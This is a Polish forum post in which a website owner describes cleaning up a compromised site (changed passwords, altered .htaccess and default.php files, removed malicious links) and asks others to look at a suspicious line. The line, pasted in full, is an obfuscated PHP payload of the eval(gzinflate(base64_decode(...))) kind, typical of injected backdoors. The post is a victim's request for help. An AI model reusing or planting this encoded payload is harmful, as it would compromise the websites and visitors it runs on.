Znalazłem artykuł i podziałałem.

1.) hasła pozmieniane
2.) przejrzałem wszystkie zmodyfikowane ostatnio pliki i pozmieniane były: htaccess i default.php wszystkie default o 22 godz. a htaccess o 2 w nocy, wszystko jednego dnia. Pokasowałem złosliwe odnośniki.
3.) hostingodawca potwierdzil ze nastapily zmiany w kluczu strony. google nie wywala strony jako zarazoną.
4.) strona zaczęła działać poprawnie, wszystko śmiga i trybi , pytanie tylko czy to nie cisza przed kolejną burzą ?

Zaniepokojony jestem tylko plikami default.php które były modyfikowane a w których nie widze nic poidejzanego
<?php eval(gzinflate(base64_decode("DdNFDqxaAgDQvfzRe2EA FykgnR5AFe4ukw7u7qy+/xpOTnEm/Z/qbcayT/biT5psxQf/X15kU178+ecXWxi37AlThRi1mFiDMFXJAb1ixaJAmkFjM/PqcWshIKySCGO8okuEKcR9yzDCPoyJBBCDr3h4hUp6hRD81QN1 xc+cmm9pLCFjpddDdYMafBFHnKHwLVuKaVqA+fouZDP7PLqqHb QQ4bwdroyXflY0se31DB40XQO+RBMge4Oj3g2KSu+jHrZvcoJU wn6Z21tKIOxX0tQ5949vjYJiWcT+5r0OClUGCr9AdhPBL3F5FI c+etEz+WJl+qQ8GkRtrmKFVAX9MKyNUnsNwDIJWgzU6HN56KY7 IyWC1E51JfckwwVtYw0HnPewGIIf4XVp3sznjSKyiOz2k+Am9+ WNZeV+aE7Vv2CaAl0IyYC33MmDla83+Z5ScuXawjIub/goRgkqkneiItnkpn3LZLiM2NmSUuMni9POvdveL0Sz391DwBDI yeoivwfx0XEtYcskFK3kyO6xp8W4JWQ/Pm+ZfdQKB2qdCfpXfi88LScbm1gUjnfvHEngr2WrW2ObD7G5f5 LufWyNwy8o3e8KG+8wYecFL4pl2+DT2tMANhiO0FSuoXbG7C2F SHJPs9yFPMxHIsOT7AqWOAwq1uhKX4rqIviHRqRbYWNEC5acPd Cm8Cs4YAF2suQu03uPfm2GRKIfeE2/O2WDHHLEvn6Xl5czNaCjjjSni3/pLtfTXrnDLjIGExjSQpA+pL/EXI1aJ0g+pnwo5KUn3xid0ZWEDzFTJm2fAD+H7xbZMgiE3xauP NufbxOgnFlvhHK6Z4+s0N6e1xAXHE3VwoeDRnusZHTcifmHUr1 zod5UA3F8bByUCJ93N/bMF6TVxr9RihC7OG+9z9rzVramMfphjPxfB29aYO/yTc9l49YW7Lyf+8Ysh5O7H+Z0A14w5K7i2eFSJ7D3j54exmbMV PHEE5bTNpY48eJMwF8CptRyN3oZPU1I3s++H1J6sheVga3jr3k WYTHxVdMR5wBp7h3Uli5m/hBtDC9uYhy0qdpMTeAsZ6zPWi8ju2eA7PFffbtlp5VzJWrgQbr xx0iVp6B4jTjfB5aA4SUeNZ52Wip56UYV7CL+JRFIo/F0q8MECa+1BEn5/jiAsQeAhA2fF+1Jea/0Hlz/VV27JrvDjhBYnUKoVDCnAm4sdK7BTcCkKZPsP99ePGqJbRbOxs Ry0G5xriLZ7TqPch7UlFauXw7SqYw3R1VzgrodRgEjPoDkstnU 74b2q1TUTaEM0Fi2YCD7sDxoUGjgdYu3n8dGCWw706g783m0ns 79SPvwGeCtC3EG6cXNCOMeFnCujOWfQJN8y7F8pHzxQC6Dq1eS ArrT3kwM0Rd/L7z/pEGa6euogmgebceHs3M7X9srx/KnsZWrD4HOHCIvhvbgej8XhplmjlA+ckjiCIYyD5V2GI7tXQJY lPnxh1lgdNGX1RwkaGSlGGGepjiYPlp9BFlOdCCgfC+8+9Picj axlIkRWA/9BZKOiIJDTfVXbz1o/34iOR7G59UXmv8RtyPStClLM0Rirs2D14tixYmwV8jlu84DOdZ sokLWIlJ754RjEedf7hW2NRvm88ixF8DC90MX7G5GFUQY3DBOM vDU8qzBr8WpiLw+PGepjbuluR0KvijKIAxrOogGEwGQyfsGF1g VaqHSI0EGV+Gonwc1Ys9iMtSiCP1a3ceJECaQ/dCI+XxCTuTTYT/BYDqdO/M3ZVH9ZBVUxhd487K1sqwYqZSaLZSWchs7UcZuMgVdUGUktSlw 6JckNmIwDJcZDF/Zf//5+/fvf/4P"))); ?>
może widzicie w tym cos nie tak?